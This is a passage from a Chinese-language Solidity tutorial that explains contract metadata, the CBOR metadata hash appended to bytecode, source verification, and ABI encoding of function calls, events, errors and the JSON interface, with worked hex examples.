"userdoc": [ /*...*/],
// 必选:合约的 NatSpec 开发者文档
"devdoc": [ /*...*/],
},
// 必选:编译器的设置
"settings": {
"compilationTarget": {
"a.sol": "Sum"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
// Reflects the setting used in the input json, defaults to false
"useLiteralContent": true,
// Reflects the setting used in the input json, defaults to "ipfs"
"bytecodeHash": "ipfs"
},
// 可选: 优化器的设置( enabled 默认设为 false )
"optimizer": {
"enabled": true,
"runs": 200
},
// 对 Solidity 来说是必须的: 已排序的重定向列表
"remappings": [":g/dir"],
},
// 必选:编译的源文件/源单位,键值为文件名
"sources": {
"myFile.sol": {
// 必选:源文件的 keccak256 哈希值
"keccak256": "0x123...",
// Optional: 在源文件中定义的 SPDX license 标识
"license": "MIT",
// 必选(除非定义了 content,详见下文):
// 已排序的源文件的URL,URL的协议可以是任意的,但建议使用 Swarm 的URL
"urls": [
"bzz-raw://fd33d...",
"dweb:/ipfs/Qme8Vrt"
]
},
// 可选
"mortal": {
// 必选:源文件的 keccak256 哈希值
"keccak256": "0x234...",
// 必选(除非定义了“urls”): 源文件的字面内容
"content": "contract mortal is owned { function kill() {
if (msg.sender == owner) selfdestruct(owner); } }"
}
},
}
metadata 的作用
metadata 主要是为了更安全地与合约进行交互并验证其源代码。
查询编译器版本
所使用的源代码
ABI
natspec 文档
编译器会将元数据文件的 Swarm 哈希值附加到每个合约的字节码末尾(详情请参阅下文),以便你可以以认证的方式获取该文件,而不必求助于中心化的数据提供者。当然,你必须将元数据文件发布到 Swarm(或其他服务),以便其他人可以访问它。 该文件可以通过使用solc --metadata
来生成,并被命名为 ContractName_meta.json
。 它将包含源代码的在 Swarm 上的引用,因此你必须上传所有源文件和元数据文件。
⚠️ 警告: 由于生成的合约的字节码包含元数据的哈希值,因此对元数据的任何更改都会导致字节码的更改。 此外,由于元数据包含所有使用的源代码的哈希值,所以任何源代码中的,哪怕是一个空格的变化都将导致不同的元数据,并随后产生不同的字节代码。
⚠️ 警告: 需注意,上面的 ABI 没有固定的顺序,随编译器的版本而不同。
字节码中元数据哈希的编码
由于在将来可能会支持其他方式来获取元数据文件, 类似{"bzzr0":<Swarm hash>}
的键值对,将会以
CBOR (https://tools.ietf.org/html/rfc7049) 编码来存储。由于这种编码的起始位不容易找到,因此添加两个字节来表述其长度,以大端方式编码。所以,当前版本的 Solidity 编译器,将以下内容添加到部署的字节码的末尾
0xa2
0x64 'i' 'p' 'f' 's' 0x58 0x22 <34 bytes IPFS hash>
0x64 's' 'o' 'l' 'c' 0x43 <3 byte version encoding>
0x00 0x33
因此,为了检索数据,可以检查已部署字节码的末尾以匹配该模式,并使用 IPFS 哈希来检索文件。
solc 的发布版本使用如上所示的版本的 3 字节编码(major, minor and patch version number 版本号各一个字节),而预发布版本将使用完整的版本字符串,包括提交哈希和构建日期。
CBOR 映射还可以包含其他密钥,因此最好完全解码数据而不是依赖以 0xa264
开头的数据。 例如,如果使用任何影响代码生成的实验性功能,则映射也将包含 "experimental":true
。
编译器目前默认使用元数据的 IPFS 哈希,但将来也可能使用 bzzr1 哈希或其他一些哈希,因此不要依赖此序列以 0xa2 0x64 'i' 'p' 'f' 's'
开头 的。 我们可能还会向此 CBOR 结构中添加其他数据,因此最好的选择是使用适当的 CBOR 解析器。
自动化接口生成和 natspec 使用
元数据以下列方式使用:通过钱包想要与合约交互时检索合约代码,然后检索文件的 IPFS/Swarm 哈希。该文件被 JSON 解码为上面的结构。
组件可以使用 ABI 自动为合约生成一个基本的用户界面。
此外,钱包可以使用 NatSpec 用户文档,在用户与合约交互,授权请求签名时候做辅助工作。
源代码如何验证?
为了验证编译,可以通过元数据文件中的链接从 IPFS/Swarm 中获取源代码。获取到的源码,会根据元数据中指定的设置,被正确版本的编译器所处理。处理得到的字节码会与创建交易的数据或者 CREATE
操作码使用的数据进行比较。这会自动验证元数据,因为它的哈希值是字节码的一部分。而额外的数据,则是与基于接口进行编码并展示给用户的构造输入数据相符的。
在 sourcify 库(npm package)可以看到如何使用该特性的示例代码。
实战应用
问答题
metadata 的作用是什么?
metadata 主要是为了更安全地与合约进行交互并验证其源代码。
查询编译器版本
所使用的源代码
ABI
natspec 文档
metadata 内容有哪些?
{ // 必选:元数据格式的版本(注意和Solidity版本不是同一个version ) "version": "1", // 必选:源代码的编程语言,一般会选择规范的“子版本” "language": "Solidity", // 必选:编译器的细节,内容视语言而定。 "compiler": { // 对 Solidity 来说是必须的:编译器的版本 "version": "0.8.7+commit.e28d00a7", }, // 必选:合约的生成信息 "output": { // 必选:合约的 ABI 定义 "abi": [ /*...*/], // 必选:合约的 NatSpec 用户文档 "userdoc": [ /*...*/], // 必选:合约的 NatSpec 开发者文档 "devdoc": [ /*...*/], }, // 必选:编译器的设置 "settings": {}, // 必选:编译的源文件/源单位,键值为文件名 "sources": { "myFile.sol": { // 必选:源文件的 keccak256 哈希值 "keccak256": "0x123...", // Optional: 在源文件中定义的 SPDX license 标识 "license": "MIT", } }, }
natspec 如何使用?
源代码如何验证?
为了验证编译,可以通过元数据文件中的链接从 IPFS/Swarm 中获取源代码。获取到的源码,会根据元数据中指定的设置,被正确版本的编译器所处理。处理得到的字节码会与创建交易的数据或者
CREATE
操作码使用的数据进行比较。这会自动验证元数据,因为它的哈希值是字节码的一部分。而额外的数据,则是与基于接口进行编码并展示给用户的构造输入数据相符的。在 sourcify 库(npm package)可以看到如何使用该特性的示例代码。
ABI 编码
ABI 是应用二进制接口,ABI是从区块链外部与合约进行交互以及合约与合约间进行交互的一种标准方式。数据会根据其类型进行编码。需要一种特定的概要(schema)来进行解码。
对于一些没有开源的代码,我们可以通过区块链上传入的参数,来反推数据结构,根据方法的结果,来反推内部实现逻辑。经常听到一些没有开源的合约被盗,基本就是被别人通过ABI编码反推来寻找漏洞的。
ABI类型编码
基础类型
uint<M>
:M
位的无符号整数,0 < M <= 256
、M % 8 == 0
。例如:uint32
,uint8
,uint256
。int<M>
:以 2 的补码作为符号的M
位整数,0 < M <= 256
、M % 8 == 0
。address
:除了字面上的意思和语言类型的区别以外,等价于uint160
。在计算和 函数选择器(function selector) 中,通常使用address
。uint
、int
:uint256
、int256
各自的同义词。在计算和函数选择器(function selector) 中,通常使用uint256
和int256
。bool
:等价于uint8
,取值限定为 0 或 1 。在计算和函数选择器(function selector) 中,通常使用bool
。fixed<M>x<N>
:M
位的有符号的固定小数位的十进制数字8 <= M <= 256
、M % 8 == 0
、且0 < N <= 80
。其值v
即是v / (10 ** N)
。ufixed<M>x<N>
:无符号的fixed<M>x<N>
。fixed
、ufixed
:fixed128x18
、ufixed128x18
各自的同义词。在计算和 函数选择器(function selector) 中,通常使用fixed128x18
和ufixed128x18
。bytes<M>
:M
字节的二进制类型,0 < M <= 32
。function
:一个地址(20 字节)之后紧跟一个 函数选择器(function selector)(4 字节)。编码之后等价于bytes24
。
定长数组类型
<type>[M]
:有M
个元素的定长数组,M >= 0
,数组元素为给定类型。⚠️:尽管此 ABI 规范可以表示零个元素的定长数组,但编译器不支持它们。
非定长类型:
bytes
:动态大小的字节序列。string
:动态大小的 unicode 字符串,通常呈现为 UTF-8 编码。<type>[]
:元素为给定类型的变长数组。可以将若干类型放到一对括号中,用逗号分隔开,以此来构成一个 元组(tuple):
(T1,T2,...,Tn)
:由T1
,…,Tn
,n >= 0
构成的 元组(tuple)。
用 元组(tuple) 构成 元组(tuple)、用 元组(tuple)构成数组等等也是可能的。另外也可以构成”零元组(zero-tuples)”,就是
n = 0
的情况。
不支持 ABI 的 Solidity 类型
Solidity 支持上面介绍的所有同名称的类型,除元组外。 另一方面,一些Solidity 类型不被 ABI 支持。下表在左栏显示了不支持 ABI 的 Solidity 类型,以及在右栏显示可以代表它们的 ABI 类型。
Solidity | ABI |
---|---|
address payable | address |
contract | address |
enum | uint8 |
user defined value types | its underlying value type |
struct | tuple |
⚠️: 在 0.8.0
版本之前,枚举(enums) 可以多余 256 个成员并且可以使用最小可保存的整型来保存他们。
ABI编码的设计准则
我们现在来正式讲述编码,它具有如下属性,如果参数是嵌套的数组,这些属性非常有用:
读取的次数取决于参数数组结构中的最大深度;也就是说,要取得
a_i[k][l][r]
需要读取 4 次。变量或数组元素的数据不与其他数据交错,并且它是可以再定位的。它们只会使用相对的”地址”。
编码的形式化说明
我们需要区分静态和动态类型。静态类型会被直接编码,动态类型则会在当前数据块之后单独分配的位置被编码。
定义: 以下类型被称为”动态”:
bytes
string
任意类型
T
的变长数组T[]
任意动态类型
T
的定长数组T[k]
(k >= 0
)由动态的
Ti
(1 <= i <= k
)构成的 元组(tuple)(T1,...,Tk)
所有其他类型都被称为”静态”。
定义: len(a)
是一个二进制字符串 a
的字节长度。 len(a)
的类型被呈现为 uint256
。
我们把实际的编码 enc
定义为一个由 ABI 类型到二进制字符串的值的映射;因而,当且仅当 X
的类型是动态的, len(enc(X))
(即 X
经编码后的实际长度,译者注)才会依赖于 X
的值。
定义: 对任意 ABI 值 X
,我们根据 X
的实际类型递归地定义 enc(X)
。
(T1,...,Tk)
对于k >= 0
且任意类型T1
,…,Tk
enc(X) = head(X(1)) ... head(X(k)) tail(X(1)) ... tail(X(k))
这里,
X = (X(1), ..., X(k))
,并且 当Ti
为静态类型时,head
和tail
被定义为head(X(i)) = enc(X(i))
andtail(X(i)) = ""
(空字符串)否则,比如
Ti
是动态类型时,它们被定义为head(X(i)) = enc(len(head(X(1)) ... head(X(k-1)) tail(X(1)) ... tail(X(i-1))))
tail(X(i)) = enc(X(i))
注意,在动态类型的情况下,由于 head 部分的长度仅取决于类型而非值,所以
head(X(i))
是定义明确的。它的值是从enc(X)
的开头算起的,tail(X(i))
的起始位在enc(X)
中的偏移量。T[k]
对于任意T
和k
:enc(X) = enc((X[0], ..., X[k-1]))
即是说,它就像是个由相同类型的
k
个元素组成的 元组(tuple) 那样被编码的。T[]
当X
有k
个元素(k
被呈现为类型uint256
):enc(X) = enc(k) enc([X[1], ..., X[k]])
即是说,它就像是个由静态大小
k
的数组那样被编码的,且由元素的个数作为前缀。具有
k
(呈现为类型uint256
)长度的bytes
:enc(X) = enc(k) pad_right(X)
,即是说,字节数被编码为uint256
,紧跟着实际的X
的字节码序列,再在高位(左侧)补上可以使len(enc(X))
成为 32 的倍数的最少数量的 0 值字节数据。string
:enc(X) = enc(enc_utf8(X))
,即是说,X
被 UFT-8 编码,且在后续编码中将这个值解释为bytes
类型。注意,在随后的编码中使用的长度是其 UFT-8 编码的字符串的字节数,而不是其字符数。uint<M>
:enc(X)
是在X
的大端序编码的高位(左侧)补充若干 0 值字节以使其长度成为 32 字节。address
:与uint160
的情况相同。int<M>
:enc(X)
是在X
的大端序的 2 的补码编码的高位(左侧)添加若干字节数据以使其长度成为 32 字节;对于负数,添加值为0xff
(即 8 位全为 1,译者注)的字节数据,对于非负数,添加 0 值(即 8 位全为 0,译者注)字节数据。bool
:与uint8
的情况相同,1
用来表示true
,0
表示false
。fixed<M>x<N>
:enc(X)
就是enc(X * 10**N)
,其中X * 10**N
可以理解为int256
。fixed
:与fixed128x18
的情况相同。ufixed<M>x<N>
:enc(X)
就是enc(X * 10**N)
,其中X * 10**N
可以理解为uint256
。ufixed
:与ufixed128x18
的情况相同。bytes<M>
:enc(X)
就是X
的字节序列加上为使长度成为 32 字节而添加的若干 0 值字节。
注意,对于任意的 X
, len(enc(X))
都是 32 的倍数。
函数选择器和参数编码
函数选择器(function selector):以 a_1, ..., a_n
为参数的对 f
函数的调用,会被编码为function_selector(f) enc((a_1, ..., a_n))
,f
的返回值 v_1, ..., v_k
会被编码为 enc((v_1, ..., v_k))
,也就是说,返回值会被组合为一个 元组(tuple) 进行编码。
函数选择器 function selector
这个在 函数的签名 那里已经详细介绍过,之类做一个小总结。
一个函数调用数据的前 4 字节,指定了要调用的函数。这就是某个函数签名的Keccak 哈希的前 4 字节(bytes32类型是从左取值)。
函数签名被定义为基础原型的规范表达,而基础原型是函数名称加上由括号括起来的参数类型列表,参数类型间由一个逗号分隔开,且没有空格。.
⚠️ 注意: 函数的返回类型并不是函数签名的一部分。在 Solidity 的函数重载 中,返回值并没有被考虑。这是为了使对函数调用的解析保持上下文无关。 然而 metadata 的描述中即包含了输入也包含了输出。(参考 JSON ABI)。
参数编码
从第 5 字节开始是被编码的参数。这种编码方式也被用在其他地方,比如,返回值和事件的参数也会被用同样的方式进行编码,而用来指定函数的 4 个字节则不需要再进行编码。
例子
给定一个合约:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;
contract Foo {
function bar(bytes3[2]) public pure {}
function baz(uint32 x, bool y) public pure returns (bool r) { r = x > 32 || y; }
function sam(bytes, bool, uint[]) public pure {}
}
调用 baz
这样,对于我们的例子 Foo
,如果我们想用 69
和 true
做参数调用 baz
,我们总共需要传送 68 字节,可以分解为:
0xcdcd77c0
:方法 ID。这源自 ASCII 格式的baz(uint32,bool)
签名的 Keccak 哈希的前 4 字节。0x0000000000000000000000000000000000000000000000000000000000000045
:第一个参数,一个被用 0 值字节补充到 32 字节的 uint32 值69
。0x0000000000000000000000000000000000000000000000000000000000000001
:第二个参数,一个被用 0 值字节补充到 32 字节的 boolean 值true
。
合起来就是:
0xcdcd77c0
0000000000000000000000000000000000000000000000000000000000000045
0000000000000000000000000000000000000000000000000000000000000001
它返回一个 bool
。比如它返回 false
,那么它的输出将是一个字节数组
0x0000000000000000000000000000000000000000000000000000000000000000
,一个 bool 值。
调用 bar
如果我们想用 ["abc", "def"]
做参数调用bar
,我们总共需要传送 68 字节,可以分解为:
0xfce353f6
:方法 ID。源自bar(bytes3[2])
的签名。0x6162630000000000000000000000000000000000000000000000000000000000
:第一个参数的第一部分,一个bytes3
值"abc"
(左对齐)。0x6465660000000000000000000000000000000000000000000000000000000000
:第一个参数的第二部分,一个bytes3
值"def"
(左对齐)。
合起来就是:
0xfce353f6
6162630000000000000000000000000000000000000000000000000000000000
6465660000000000000000000000000000000000000000000000000000000000
调用 sam
如果我们想用 "dave"
、 true
和 [1,2,3]
作为参数调用sam
,我们总共需要传送 292 字节,可以分解为:
0xa5643bf2
:方法 ID。源自sam(bytes,bool,uint256[])
的签名。注意,uint
被替换为了它的权威代表uint256
。0x0000000000000000000000000000000000000000000000000000000000000060
:第一个参数(动态类型)的数据部分的位置,即从参数编码块开始位置算起的字节数。在这里,是0x60
。0x0000000000000000000000000000000000000000000000000000000000000001
:第二个参数:boolean 的 true。0x00000000000000000000000000000000000000000000000000000000000000a0
:第三个参数(动态类型)的数据部分的位置,由字节数计量。在这里,是0xa0
。0x0000000000000000000000000000000000000000000000000000000000000004
:第一个参数的数据部分,以字节数组的元素个数作为开始,在这里,是 4。0x6461766500000000000000000000000000000000000000000000000000000000
:第一个参数的内容"dave"
的 UTF-8 编码(在这里等同于 ASCII 编码),并在右侧(低位)用 0 值字节补充到 32 字节。0x0000000000000000000000000000000000000000000000000000000000000003
:第三个参数的数据部分,以数组的元素个数作为开始,在这里,是 3。0x0000000000000000000000000000000000000000000000000000000000000001
:第三个参数的第一个数组元素。0x0000000000000000000000000000000000000000000000000000000000000002
:第三个参数的第二个数组元素。0x0000000000000000000000000000000000000000000000000000000000000003
:第三个参数的第三个数组元素。
合起来就是:
0xa5643bf2
0000000000000000000000000000000000000000000000000000000000000060
0000000000000000000000000000000000000000000000000000000000000001
00000000000000000000000000000000000000000000000000000000000000a0
0000000000000000000000000000000000000000000000000000000000000004
6461766500000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000003
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000002
0000000000000000000000000000000000000000000000000000000000000003
动态类型的使用
例子1:静态和动态混合
用参数 (0x123, [0x456, 0x789], "1234567890", "Hello, world!")
进行对函数 f(uint,uint32[],bytes10,bytes)
的调用会通过以下方式进行编码:
取得 sha3("f(uint256,uint32[],bytes10,bytes)")
的前 4 字节,也就是 0x8be65246
。 然后我们对所有 4 个参数的头部进行编码。对静态类型 uint256
和 bytes10
是可以直接传过去的值;对于动态类型 uint32[]
和 bytes
,我们使用的字节数偏移量是它们的数据区域的起始位置,由需编码的值的开始位置算起(也就是说,不计算包含了函数签名的前 4 字节),这就是:
基础部分:
0x8be65246
0x0000000000000000000000000000000000000000000000000000000000000123
0x123
补充到 32 字节)0x0000000000000000000000000000000000000000000000000000000000000080
(第二个参数的数据部分起始位置的偏移量,4*32
字节,正好是头部的大小)0x3132333435363738393000000000000000000000000000000000000000000000
("1234567890"
从右边补充到 32 字节)0x00000000000000000000000000000000000000000000000000000000000000e0
(第四个参数的数据部分起始位置的偏移量 = 第一个动态参数的数据部分起始位置的偏移量 + 第一个动态参数的数据部分的长度 =4*32 + 3*32
,参考后文)
动态部分:
在此之后,跟着第一个动态参数的数据部分 [0x456, 0x789]
:
0x0000000000000000000000000000000000000000000000000000000000000002
(数组元素个数,2)0x0000000000000000000000000000000000000000000000000000000000000456
(第一个数组元素)0x0000000000000000000000000000000000000000000000000000000000000789
(第二个数组元素)
最后,我们将第二个动态参数的数据部分 "Hello, world!"
进行编码:
0x000000000000000000000000000000000000000000000000000000000000000d
(元素个数,在这里是字节数:13)0x48656c6c6f2c20776f726c642100000000000000000000000000000000000000
("Hello, world!"
从右边补充到 32 字节)
最后,合并到一起的编码就是(为了清晰,在 函数选择器(function selector) 和每 32 字节之后加了换行):
0x8be65246
0000000000000000000000000000000000000000000000000000000000000123
0000000000000000000000000000000000000000000000000000000000000080
3132333435363738393000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000e0
0000000000000000000000000000000000000000000000000000000000000002
0000000000000000000000000000000000000000000000000000000000000456
0000000000000000000000000000000000000000000000000000000000000789
000000000000000000000000000000000000000000000000000000000000000d
48656c6c6f2c20776f726c642100000000000000000000000000000000000000
例子2: 纯动态参数
让我们使用相同的原理来对一个签名为 g(uint[][],string[])
,参数值为([[1, 2], [3]], ["one", "two", "three"])
的函数来进行编码;但从最原子的部分开始:
首先我们将第一个根数组 [[1, 2], [3]]
的第一个嵌入的动态数组 [1, 2]
的长度和数据进行编码:
0x0000000000000000000000000000000000000000000000000000000000000002
(第一个数组中的元素数量 2;元素本身是1
和2
)0x0000000000000000000000000000000000000000000000000000000000000001
(第一个元素)0x0000000000000000000000000000000000000000000000000000000000000002
(第二个元素)
然后我们将第一个根数组 [[1, 2], [3]]
的第二个潜入的动态数组 [3]
的长度和数据进行编码:
0x0000000000000000000000000000000000000000000000000000000000000001
(第二个数组中的元素数量 1;元素数据是3
)0x0000000000000000000000000000000000000000000000000000000000000003
(第一个元素)
然后我们需要找到动态数组 [1, 2]
和 [3]
的偏移量。要计算这个偏移量,我们可以来看一下第一个根数组 [[1, 2], [3]]
编码后的具体数据:
0 - a - [1, 2] 的偏移量
1 - b - [3] 的偏移量
2 - 0000000000000000000000000000000000000000000000000000000000000002 - [1, 2] 的计数
3 - 0000000000000000000000000000000000000000000000000000000000000001 - 1 的编码
4 - 0000000000000000000000000000000000000000000000000000000000000002 - 2 的编码
5 - 0000000000000000000000000000000000000000000000000000000000000001 - [3] 的计数
6 - 0000000000000000000000000000000000000000000000000000000000000003 - 3 的编码
偏移量 a
指向数组 [1, 2]
内容的开始位置,即第 2 行的开始(64字节);所以 a = 0x0000000000000000000000000000000000000000000000000000000000000040
。
偏移量 b
指向数组 [3]
内容的开始位置,即第 5 行的开始(160字节);所以 b = 0x00000000000000000000000000000000000000000000000000000000000000a0
。
然后我们对第二个根数组的嵌入字符串进行编码:
0x0000000000000000000000000000000000000000000000000000000000000003
(单词"one"
中的字符个数)0x6f6e650000000000000000000000000000000000000000000000000000000000
(单词"one"
的 utf8 编码)0x0000000000000000000000000000000000000000000000000000000000000003
(单词"two"
中的字符个数)0x74776f0000000000000000000000000000000000000000000000000000000000
(单词"two"
的 utf8 编码)0x0000000000000000000000000000000000000000000000000000000000000005
(单词"three"
中的字符个数)0x7468726565000000000000000000000000000000000000000000000000000000
(单词"three"
的 utf8 编码)
作为与第一个根数组的并列,因为字符串也属于动态元素,我们也需要找到它们的偏移量 c
, d
和 e
:
0 - c - "one" 的偏移量
1 - d - "two" 的偏移量
2 - e - "three" 的偏移量
3 - 0000000000000000000000000000000000000000000000000000000000000003 - "one" 的字符计数
4 - 6f6e650000000000000000000000000000000000000000000000000000000000 - "one" 的编码
5 - 0000000000000000000000000000000000000000000000000000000000000003 - "two" 的字符计数
6 - 74776f0000000000000000000000000000000000000000000000000000000000 - "two" 的编码
7 - 0000000000000000000000000000000000000000000000000000000000000005 - "three" 的字符计数
8 - 7468726565000000000000000000000000000000000000000000000000000000 - "three" 的编码
偏移量 c
指向字符串 "one"
内容的开始位置,即第 3 行的开始(96字节);所以c = 0x0000000000000000000000000000000000000000000000000000000000000060
。
偏移量 d
指向字符串 "two"
内容的开始位置,即第 5 行的开始(160字节);所以d = 0x00000000000000000000000000000000000000000000000000000000000000a0
。
偏移量 e
指向字符串 "three"
内容的开始位置,即第 7 行的开始(224字节);所以e = 0x00000000000000000000000000000000000000000000000000000000000000e0
。
注意,根数组的嵌入元素的编码并不互相依赖,且具有对于函数签名g(string[],uint[][])
所相同的编码。
然后我们对第一个根数组的长度进行编码:
0x0000000000000000000000000000000000000000000000000000000000000002
(第一个根数组的元素数量 2;这些元素本身是[1, 2]
和[3]
)
而后我们对第二个根数组的长度进行编码:
0x0000000000000000000000000000000000000000000000000000000000000003
(第二个根数组的元素数量 3;这些字符串本身是"one"
、"two"
和"three"
)
最后,我们找到根动态数组元素 [[1, 2], [3]]
和["one", "two", "three"]
的偏移量 f
和 g
。汇编数据的正确顺序如下:
0x2289b18c - 函数签名
0 - f - [[1, 2], [3]] 的偏移量
1 - g - 第二个参数的偏移量
2 - 0000000000000000000000000000000000000000000000000000000000000002 - [[1, 2], [3]] 元素计数
3 - 0000000000000000000000000000000000000000000000000000000000000040 - [1, 2] 的偏移量
4 - 00000000000000000000000000000000000000000000000000000000000000a0 - [3] 的偏移量
5 - 0000000000000000000000000000000000000000000000000000000000000002 - [1, 2] 的元素计数
6 - 0000000000000000000000000000000000000000000000000000000000000001 - 1 的编码
7 - 0000000000000000000000000000000000000000000000000000000000000002 - 2 的编码
8 - 0000000000000000000000000000000000000000000000000000000000000001 - [3] 的元素计数
9 - 0000000000000000000000000000000000000000000000000000000000000003 - 3 的编码
10 - 0000000000000000000000000000000000000000000000000000000000000003 - 第二个参数元素计数
11 - 0000000000000000000000000000000000000000000000000000000000000060 - "one" 的偏移量
12 - 00000000000000000000000000000000000000000000000000000000000000a0 - "two" 的偏移量
13 - 00000000000000000000000000000000000000000000000000000000000000e0 - "three" 的偏移量
14 - 0000000000000000000000000000000000000000000000000000000000000003 - "one" 的字符计数
15 - 6f6e650000000000000000000000000000000000000000000000000000000000 - "one" 的编码
16 - 0000000000000000000000000000000000000000000000000000000000000003 - "two" 的字符计数
17 - 74776f0000000000000000000000000000000000000000000000000000000000 - "two" 的编码
18 - 0000000000000000000000000000000000000000000000000000000000000005 - "three" 的字符计数
19 - 7468726565000000000000000000000000000000000000000000000000000000 - "three" 的编码
偏移量 f
指向数组 [[1, 2], [3]]
内容的开始位置,即第 2 行的开始(64字节);所以f = 0x0000000000000000000000000000000000000000000000000000000000000040
。
偏移量 g
指向数组 ["one", "two", "three"]
内容的开始位置,即第 10行的开始(320 字节);所以 g = 0x0000000000000000000000000000000000000000000000000000000000000140
。
事件
事件是以太坊的日志,事件是监视协议的一个抽象。日志项提供了合约的地址、一系列的indexed
(最多 4 项)和一些任意长度的二进制数据。为了使用合适的类型数据结构来演绎这些功能,事件沿用了既存的 ABI 函数。
给定了事件名称和事件参数之后,我们将其分解为两个子集:已索引的和未索引的。已索引的部分,最多有3 个(对于非匿名事件)或 4 个(对于匿名事件),被用来与事件签名的 Keccak哈希一起组成日志项的主题。未索引的部分就组成了事件的字节数组。
这样,一个使用 ABI 的日志项就可以描述为:
address
:合约地址(由 以太坊 真正提供);topics[0]
:keccak(EVENT_NAME+"("+EVENT_ARGS.map(canonical_type_of).join(",")+")")
(
canonical_type_of
是一个可以返回给定参数的权威类型的函数,例如,对uint indexed foo
它会返回uint256
)。如果事件被声明为
anonymous
,那么topics[0]
不会被生成;
topics[n]
:如果不是匿名事件,为
abi_encode(EVENT_INDEXED_ARGS[n - 1])
否则则为
abi_encode(EVENT_INDEXED_ARGS[n])
(EVENT_INDEXED_ARGS
是已索引的EVENT_ARGS
);
data
:abi_serialise(EVENT_NON_INDEXED_ARGS)
(
EVENT_NON_INDEXED_ARGS
是未索引的EVENT_ARGS
,abi_serialise
是一个用来从某个函数返回一系列类型值的 ABI 序列化函数,就像上文所讲的那样)。
对于所有定长的 Solidity 类型, EVENT_INDEXED_ARGS
数组会直接包含 32 字节的编码值。
然而,对于 动态长度的类型 ,包含string
、 bytes
和数组, EVENT_INDEXED_ARGS
会包含编码值的 Keccak哈希,而不是直接包含编码值。这样就允许应用程序更有效地查询动态长度类型的值(通过把编码值的哈希设定为主题),但也使应用程序不能对它们还没查询过的已索引的值进行解码。
对于动态长度的类型,应用程序开发者面临在对预先设定的值(如果参数已被索引)的快速检索和对任意数据的清晰处理(需要参数不被索引)之间的权衡。
开发者们可以通过定义两个参数(一个已索引、一个未索引)保存同一个值的方式来解决这种权衡,从而既获得高效的检索又能清晰地处理任意数据。
事件索引参数的编码
对于不是值类型的事件索引参数,如:数组和结构,是不直接存储的,而是存储一个 keccak256-hash 编码。这个编码被定义如下:
bytes
和string
的编码只是字符串的内容,没有任何填充或长度前缀。结构体的编码是其成员编码的拼接,总是填充为 32 字节的倍数(即便是
bytes
和string
类型)。数组(包含动态和静态大小的数组)的编码是其元素的编码的拼接,总是填充为 32 字节的倍数(即便是
bytes
和string
类型),并且没有长度前缀
上面的规范,像往常一样,负数会符号扩展填充,而不是零填充。 bytesNN
类型在右边填充,而 uintNN
/ intNN
在左边填充。
⚠️警告: 如果一个结构体包含一个以上的动态大小的数组,那么其编码会模糊有歧义。正因为如此,要经常重新检查事件数据,不能仅仅依靠索引参数的结果。
错误编码
在合约内部发生错误的情况下,合约可以使用一个特殊的操作码来中止执行,并恢复所有的状态变化。除了这些效果之外,可以返回描述性数据给调用者。这种描述性数据是对错误及其参数的编码,其方式与函数调用的数据相同。
例如,让我们考虑以下合约,其 transfer
功能在出现”余额不足”时,提示自定义错误:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract TestToken {
error InsufficientBalance(uint256 available, uint256 required);
function transfer(address to, uint amount) public pure {
revert InsufficientBalance(0, amount);
}
}
返回错误数据是以函数调用相同的方式编码, InsufficientBalance(0, amount)
与函数 InsufficientBalance(uint256,uint256)
编码一样。 例如为:0xcf479181
, uint256(0)
, uint256(amount)
.
⚠️注意:错误的选择器 0x00000000
和 0xffffffff
被保留将来使用。
⚠️注意:永远不要相信错误数据。默认情况下,错误数据会通过外部调用链向上冒泡,这意味着一个合约可能会收到一个它直接调用的任何合约中没有定义的错误。此外,任何合约都可以通过返回与错误签名相匹配的数据来伪造任何错误,即使该错误没有在任何地方定义。
JSON
合约接口的 JSON 格式是用来描述函数,事件或错误描述的一个数组。
函数的JSON
一个函数的描述是一个有如下字段的 JSON 对象:
type
:"function"
、"constructor"
或"fallback"
name
:函数名称;inputs
:对象数组,每个数组对象会包含:name
:参数名称;type
:参数的权威类型(详见下文)components
:供 元组(tuple) 类型使用(详见下文)
outputs
:一个类似于inputs
的对象数组,如果函数无返回值时可以被省略;payable
:如果函数接受 以太币 ,为true
;缺省为false
;stateMutability
:为下列值之一:pure
,view
,nonpayable
和payable
。
type
可以被省略,缺省为 "function"
。
⚠️注意:构造函数 constructor 和 fallback 函数没有 name
或 outputs
。fallback 函数也没有 inputs
。
向 non-payable(即不接受 以太币 )的函数发送非零值的以太币 会回退交易。
状态可变性
nonpayable
是默认的,不用显示指定。
事件的JSON
一个事件描述是一个有极其相似字段的 JSON 对象:
type
:总是"event"
;name
:事件名称;inputs
:对象数组,每个数组对象会包含:name
:参数名称;type
:参数的权威类型(相见下文);components
:供 元组(tuple) 类型使用(详见下文);indexed
:如果此字段是日志的一个主题,则为true
;否则为false
。
anonymous
:如果事件被声明为anonymous
,则为true
。
错误的JSON
错误这是一下类似的形式:
type
: 为"error"
name
: 错误的名称。inputs
: 对象数组,每个元素包含:name
: 参数名称。type
: 参数的规范类型(更多详细内容见下文)。components
: 用于元组类型 (更多详细内容见下文).
⚠️注意:在 JSON 数组中可能有多个名称相同、甚至签名相同的错误。例如,如果错误来自智能合约中的不同文件,或引用自另一个智能合约。
对于 ABI 来说,它仅取决于错误的名称,而不是它的定义位置。
例子演示
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Test {
bytes32 b;
constructor() {
b = "0x12";
}
event Event(uint256 indexed a, bytes32 b);
error InsufficientBalance(uint256 available, uint256 required);
function foo(uint256 a) public {
emit Event(a, b);
}
}
可由如下 JSON 来表示:
[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [
{ "internalType": "uint256", "name": "available","type": "uint256"},
{ "internalType": "uint256", "name": "required", "type": "uint256"}
],
"name": "InsufficientBalance",
"type": "error"
},
{
"anonymous": false,
"inputs": [
{ "indexed": true, "internalType": "uint256", "name": "a", "type": "uint256"},
{ "indexed": false, "internalType": "bytes32", "name": "b", "type": "bytes32"}
],
"name": "Event",
"type": "event"
},
{
"inputs": [
{ "internalType": "uint256", "name": "a", "type": "uint256"}
],
"name": "foo",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
处理 元组(tuple) 类型
尽管名称被有意地不作为 ABI 编码的一部分,但将它们包含进 JSON 来显示给最终用户是非常合理的。其结构会按下列方式进行嵌套:
一个拥有 name
、 type
